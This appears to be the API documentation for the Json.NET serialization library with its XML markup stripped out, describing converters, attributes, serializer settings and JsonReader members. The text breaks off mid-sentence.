+ + + + First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. + + + + + Json.NET will use a non-public default constructor before falling back to a parameterized constructor. + + + + + Converts a binary value to and from a base 64 string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Creates a custom object. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Creates an object which will then be populated by the serializer. + + Type of the object. + The created object. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Provides a base class for converting a to and from JSON. + + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a F# discriminated union type to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an Entity Framework to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). + + + + + Gets or sets the date time styles used when converting a date to and from JSON. + + The date time styles used when converting a date to and from JSON. + + + + Gets or sets the date time format used when converting a date to and from JSON. + + The date time format used when converting a date to and from JSON. + + + + Gets or sets the culture used when converting a date to and from JSON. + + The culture used when converting a date to and from JSON. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from its name string value. + + + + + Gets or sets a value indicating whether the written enum text should be camel case. + The default value is false. + + true if the written enum text will be camel case; otherwise, false. + + + + Gets or sets the naming strategy used to resolve how enum text is written. + + The naming strategy used to resolve how enum text is written. + + + + Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. + The default value is true. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + true if the written enum text will be camel case; otherwise, false. + + + + Initializes a new instance of the class. + + The naming strategy used to resolve how enum text is written. + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from Unix epoch time + + + + + Gets or sets a value indicating whether the dates before Unix epoch + should converted to and from JSON. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from a string (e.g. "1.2.3.4"). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts XML to and from JSON. + + + + + Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. + + The name of the deserialized root element. + + + + Gets or sets a value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + true if the array attribute is written to the XML; otherwise, false. + + + + Gets or sets a value indicating whether to write the root JSON object. + + true if the JSON root object is omitted; otherwise, false. + + + + Gets or sets a value indicating whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + true if special characters are encoded; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The calling serializer. + The value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Checks if the is a namespace attribute. + + Attribute name to test. + The attribute name prefix if it has one, otherwise an empty string. + true if attribute name is for a namespace attribute, otherwise false. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Specifies how dates are formatted when writing JSON text. + + + + + Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". + + + + + Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". + + + + + Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. + + + + + Date formatted strings are not parsed to a date type and are read as strings. + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Specifies how to treat the time value when converting between string and . + + + + + Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. + + + + + Treat as a UTC. If the object represents a local time, it is converted to a UTC. + + + + + Treat as a local time if a is being converted to a string. + If a string is being converted to , convert to a local time if a time zone is specified. + + + + + Time zone information should be preserved when converting. + + + + + The default JSON name table implementation. + + + + + Initializes a new instance of the class. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Adds the specified string into name table. + + The string to add. + This method is not thread-safe. + The resolved string. + + + + Specifies default value handling options for the . + + + + + + + + + Include members where the member value is the same as the member's default value when serializing objects. + Included members are written to JSON. Has no effect when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + so that it is not written to JSON. + This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, + decimals and floating point numbers; and false for booleans). The default value ignored can be changed by + placing the on the property. + + + + + Members with a default value but no JSON will be set to their default value when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + and set members to their default value when deserializing. + + + + + Specifies float format handling options when writing special floating point numbers, e.g. , + and with . + + + + + Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". + + + + + Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. + Note that this will produce non-valid JSON. + + + + + Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. + + + + + Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Floating point numbers are parsed to . + + + + + Floating point numbers are parsed to . + + + + + Specifies formatting options for the . + + + + + No special formatting is applied. This is the default. + + + + + Causes child objects to be indented according to the and settings. + + + + + Provides an interface for using pooled arrays. + + The array type content. + + + + Rent an array from the pool. This array must be returned when it is no longer needed. + + The minimum required length of the array. The returned array may be longer. + The rented array from the pool. This array must be returned when it is no longer needed. + + + + Return an array to the pool. + + The array that is being returned. + + + + Provides an interface to enable a class to return line and position information. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + The current line number or 0 if no line information is available (for example, when returns false). + + + + Gets the current line position. + + The current line position or 0 if no line information is available (for example, when returns false). + + + + Instructs the how to serialize the collection. + + + + + Gets or sets a value indicating whether null items are allowed in the collection. + + true if null items are allowed in the collection; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a flag indicating whether the array can contain null items. + + A flag indicating whether the array can contain null items. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to use the specified constructor when deserializing that object. + + + + + Instructs the how to serialize the object. + + + + + Gets or sets the id. + + The id. + + + + Gets or sets the title. + + The title. + + + + Gets or sets the description. + + The description. + + + + Gets or sets the collection's items converter. + + The collection's items converter. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets a value that indicates whether to preserve object references. + + + true to keep object reference; otherwise, false. The default is false. + + + + + Gets or sets a value that indicates whether to preserve collection's items references. + + + true to keep collection's items object references; otherwise, false. The default is false. + + + + + Gets or sets the reference loop handling used when serializing the collection's items. + + The reference loop handling. + + + + Gets or sets the type name handling used when serializing the collection's items. + + The type name handling. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Provides methods for converting between .NET types and JSON types. + + + + + + + + Gets or sets a function that creates default . + Default settings are automatically used by serialization methods on , + and and on . + To serialize without using any default settings create a with + . + + + + + Represents JavaScript's boolean value true as a string. This field is read-only. + + + + + Represents JavaScript's boolean value false as a string. This field is read-only. + + + + + Represents JavaScript's null as a string. This field is read-only. + + + + + Represents JavaScript's undefined as a string. This field is read-only. + + + + + Represents JavaScript's positive infinity as a string. This field is read-only. + + + + + Represents JavaScript's negative infinity as a string. This field is read-only. + + + + + Represents JavaScript's NaN as a string. This field is read-only. + + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + The time zone handling when the date is converted to a string. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + The string escape handling. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Serializes the specified object to a JSON string. + + The object to serialize. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting. + + The object to serialize. + Indicates how the output should be formatted. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting and a collection of . + + The object to serialize. + Indicates how the output should be formatted. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to a .NET object using . + + The JSON to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The of object being deserialized. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the given anonymous type. + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the given anonymous type using . + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The type of the object to deserialize to. + The JSON to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The type of the object to deserialize to. + The object to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The JSON to deserialize. + The type of the object to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The JSON to deserialize. + The type of the object to deserialize to. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + + + Populates the object with values from the JSON string using . + + The JSON to populate values from. + The target object to populate values onto. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + + + + Serializes the to a JSON string. + + The node to serialize. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to serialize. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Serializes the to a JSON string. + + The node to convert to JSON. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to convert to JSON. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Converts an object to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can read JSON. + + true if this can read JSON; otherwise, false. + + + + Gets a value indicating whether this can write JSON. + + true if this can write JSON; otherwise, false. + + + + Converts an object to and from JSON. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. If there is no existing value then null will be used. + The existing value has a value. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Instructs the to use the specified when serializing the member or class. + + + + + Gets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + + + + + Initializes a new instance of the class. + + Type of the . + + + + Initializes a new instance of the class. + + Type of the . + Parameter list to use when constructing the . Can be null. + + + + Represents a collection of . + + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Instructs the to deserialize properties with no matching class member into the specified collection + and write values during serialization. + + + + + Gets or sets a value that indicates whether to write extension data when serializing the object. + + + true to write extension data when serializing the object; otherwise, false. The default is true. + + + + + Gets or sets a value that indicates whether to read extension data when deserializing the object. + + + true to read extension data when deserializing the object; otherwise, false. The default is true. + + + + + Initializes a new instance of the class. + + + + + Instructs the not to serialize the public field or public read/write property value. + + + + + Base class for a table of atomized string objects. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Instructs the how to serialize the object. + + + + + Gets or sets the member serialization. + + The member serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified member serialization. + + The member serialization. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to always serialize the member with the specified name. + + + + + Gets or sets the type used when serializing the property's collection items. + + The collection's items type. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the null value handling used when serializing this property. + + The null value handling. + + + + Gets or sets the default value handling used when serializing this property. + + The default value handling. + + + + Gets or sets the reference loop handling used when serializing this property. + + The reference loop handling. + + + + Gets or sets the object creation handling used when deserializing this property. + + The object creation handling. + + + + Gets or sets the type name handling used when serializing this property. + + The type name handling. + + + + Gets or sets whether this property's value is serialized as a reference. + + Whether this property's value is serialized as a reference. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets a value indicating whether this property is required. + + + A value indicating whether this property is required. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified name. + + Name of the property. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously skips the children of the current token. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Specifies the state of the reader. + + + + + A read method has not been called. + + + + + The end of the file has been reached successfully. + + + + + Reader is at a property. + + + + + Reader is at the start of an object. + + + + + Reader is in an object. + + + + + Reader is at the start of an array. + + + + + Reader is in an array. + + + + + The method has been called. + + + + + Reader has just read a value. + + + + + Reader is at the start of a constructor. + + + + + Reader is in a constructor. + + + + + An error occurred that prevents the read operation from continuing. + + + + + The end of the file has been reached successfully. + + + + + Gets the current reader state. + + The current reader state. + + + + Gets or sets a value indicating whether the source should be closed when this reader is closed. + + + true to close the source when this reader is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether multiple pieces of JSON content can + be read from a continuous stream without erroring. + + + true to support reading multiple pieces of JSON content; otherwise false. + The default is false. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + Gets or sets how time zones are handled when reading JSON. + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Gets or sets how custom date formatted strings are parsed when reading JSON. + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets the type of the current JSON token. + + + + + Gets the text value of the current JSON token. + + + + + Gets the .NET type for the current JSON token. + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Reads the next JSON token from the source. + + true if the next token was read successfully; false if there are no more tokens to read. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the 